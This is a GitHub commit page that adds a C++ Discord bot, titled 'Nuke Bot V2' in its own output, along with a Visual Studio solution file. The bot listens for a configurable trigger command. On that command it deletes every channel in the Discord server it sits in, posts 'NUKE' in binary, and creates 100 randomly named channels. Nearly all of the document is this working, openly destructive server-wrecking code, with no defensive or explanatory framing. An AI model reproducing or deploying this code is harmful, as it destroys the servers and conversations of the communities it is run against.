-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
66 changed files
with
57,840 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
|
||
Microsoft Visual Studio Solution File, Format Version 12.00 | ||
# Visual Studio Version 16 | ||
VisualStudioVersion = 16.0.31515.178 | ||
MinimumVisualStudioVersion = 10.0.40219.1 | ||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MyBot", "MyBot\MyBot.vcxproj", "{3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}" | ||
EndProject | ||
Global | ||
GlobalSection(SolutionConfigurationPlatforms) = preSolution | ||
Debug|x64 = Debug|x64 | ||
Debug|x86 = Debug|x86 | ||
Release|x64 = Release|x64 | ||
Release|x86 = Release|x86 | ||
EndGlobalSection | ||
GlobalSection(ProjectConfigurationPlatforms) = postSolution | ||
{3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Debug|x64.ActiveCfg = Debug|x64 | ||
{3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Debug|x64.Build.0 = Debug|x64 | ||
{3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Debug|x86.ActiveCfg = Debug|Win32 | ||
{3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Debug|x86.Build.0 = Debug|Win32 | ||
{3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Release|x64.ActiveCfg = Release|x64 | ||
{3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Release|x64.Build.0 = Release|x64 | ||
{3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Release|x86.ActiveCfg = Release|Win32 | ||
{3BCAA106-D9D9-43AB-AF92-01C943F4FEC2}.Release|x86.Build.0 = Release|Win32 | ||
EndGlobalSection | ||
GlobalSection(SolutionProperties) = preSolution | ||
HideSolutionNode = FALSE | ||
EndGlobalSection | ||
GlobalSection(ExtensibilityGlobals) = postSolution | ||
SolutionGuid = {4316AD79-3D59-4C1B-9DE2-6619B51AE700} | ||
EndGlobalSection | ||
EndGlobal |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,194 @@ | ||
#include <dpp/dpp.h> | ||
#include <iostream> | ||
#include <string> | ||
#include <cstddef> | ||
#include <regex> | ||
#include <sstream> | ||
#include <chrono> | ||
#include <thread> | ||
#include <json/value.h> | ||
#include <json/json.h> | ||
#include <json/writer.h> | ||
|
||
|
||
using namespace std; | ||
using namespace std::this_thread; | ||
using namespace std::chrono; | ||
|
||
|
||
char prefix = { '!' }; | ||
string nukecommand = "DEFCON-1"; | ||
|
||
Json::Value jsonglobal; | ||
ifstream currentfile; | ||
|
||
std::string token = "token"; | ||
|
||
int state = 0; | ||
|
||
struct versionsct | ||
{ | ||
int major = 0; | ||
int minor = 0; | ||
int build = 0; | ||
}; | ||
|
||
struct versionsct version = { 0,1,01 }; | ||
|
||
|
||
|
||
|
||
Json::Value readandfetch() | ||
{ | ||
|
||
currentfile.open("config.json"); | ||
if (!currentfile.fail()) | ||
{ | ||
Json::Value acutaljson; | ||
Json::Reader reader; | ||
|
||
reader.parse(currentfile, acutaljson); | ||
|
||
|
||
if (acutaljson["config"]["bot-token"].isString()) | ||
{ | ||
cout << "Nuke Bot V2 " << version.major << "." << version.minor << "." << version.build << "\n \n \n"; | ||
|
||
token = acutaljson["config"]["bot-token"].asString(); | ||
nukecommand = acutaljson["config"]["nukecommand"].asString(); | ||
cout << "Nuke Command: " << nukecommand << "\n"; | ||
|
||
std::string str; | ||
str = acutaljson["config"]["prefix"].asString(); | ||
prefix = str[0]; | ||
cout << "prefix: " << prefix << "\n \n"; | ||
|
||
} | ||
|
||
} | ||
else | ||
{ | ||
currentfile.close(); | ||
jsonglobal["config"]["bot-token"] = "Bot Token Here"; | ||
jsonglobal["config"]["nukecommand"] = "DEFCON-1"; | ||
jsonglobal["config"]["prefix"] = "!"; | ||
Json::StyledStreamWriter writer; | ||
std::ofstream test1("config.json"); | ||
writer.write(test1, jsonglobal); | ||
|
||
|
||
|
||
} | ||
|
||
return -1; | ||
|
||
} | ||
|
||
void writeandfetch(Json::Value root) | ||
{ | ||
if ((root != -1) || (root != NULL)) | ||
{ | ||
jsonglobal = root; | ||
|
||
} | ||
currentfile.close(); | ||
Json::StyledStreamWriter writer; | ||
std::ofstream test1("data.json"); | ||
writer.write(test1, root); | ||
} | ||
|
||
int main() | ||
{ | ||
|
||
readandfetch(); | ||
|
||
dpp::cluster bot(token); | ||
|
||
|
||
bot.on_message_create([&bot](const auto& event) { | ||
|
||
string str = event.msg.content; | ||
std::size_t found = str.find_first_of(prefix); | ||
|
||
if (found == 0) { | ||
if (event.msg.content == prefix + nukecommand) | ||
{ | ||
|
||
dpp::guild guild = *dpp::find_guild(event.msg.guild_id); | ||
|
||
cout << "\nTotal Channels: " << guild.channels.size() << "\n"; | ||
int channelsize = guild.channels.size(); | ||
bot.message_create(dpp::message(event.msg.channel_id, "01001110 01010101 01001011 01000101")); | ||
bot.channels_get(event.msg.guild_id, [&bot, guild](const dpp::confirmation_callback_t& callback) { | ||
|
||
if (!callback.is_error()) | ||
{ | ||
dpp::channel_map channels = std::get<dpp::channel_map>(callback.value); | ||
for (auto const& channel : channels) { | ||
|
||
|
||
std::string channelname = channel.second.name; | ||
bot.channel_delete(channel.second.id, [channelname](const dpp::confirmation_callback_t& callback) | ||
{ | ||
if (!callback.is_error()) | ||
{ | ||
std::cout << "Delete: " << channelname << " named channel \n"; | ||
} | ||
else | ||
{ | ||
cout << "Error: " << callback.get_error().message << "\n"; | ||
} | ||
|
||
} | ||
|
||
|
||
|
||
); | ||
} | ||
|
||
|
||
|
||
|
||
|
||
for (int i = 0; i < 100; i++) | ||
{ | ||
dpp::channel channel; | ||
channel.guild_id = guild.id; | ||
|
||
channel.name = to_string(rand()); | ||
bot.channel_create(channel, [&bot, channel](const dpp::confirmation_callback_t& cb) { | ||
|
||
if (!cb.is_error()) | ||
{ | ||
cout << "\n" << channel.name << " named channel created"; | ||
} | ||
else | ||
{ | ||
std::cout << cb.get_error().message; | ||
} | ||
}); | ||
} | ||
} | ||
else | ||
{ | ||
cout << "Error: " << callback.get_error().message; | ||
} | ||
} | ||
); | ||
} | ||
} | ||
} | ||
); | ||
|
||
bot.on_ready([&bot](const dpp::ready_t& event) { | ||
std::cout << "Logged in as " << bot.me.username << "!\n"; | ||
std::cout << "Session id: " << event.session_id << "\n"; | ||
|
||
}); | ||
|
||
|
||
bot.start(false); | ||
|
||
|
||
return 0; | ||
} |
Oops, something went wrong.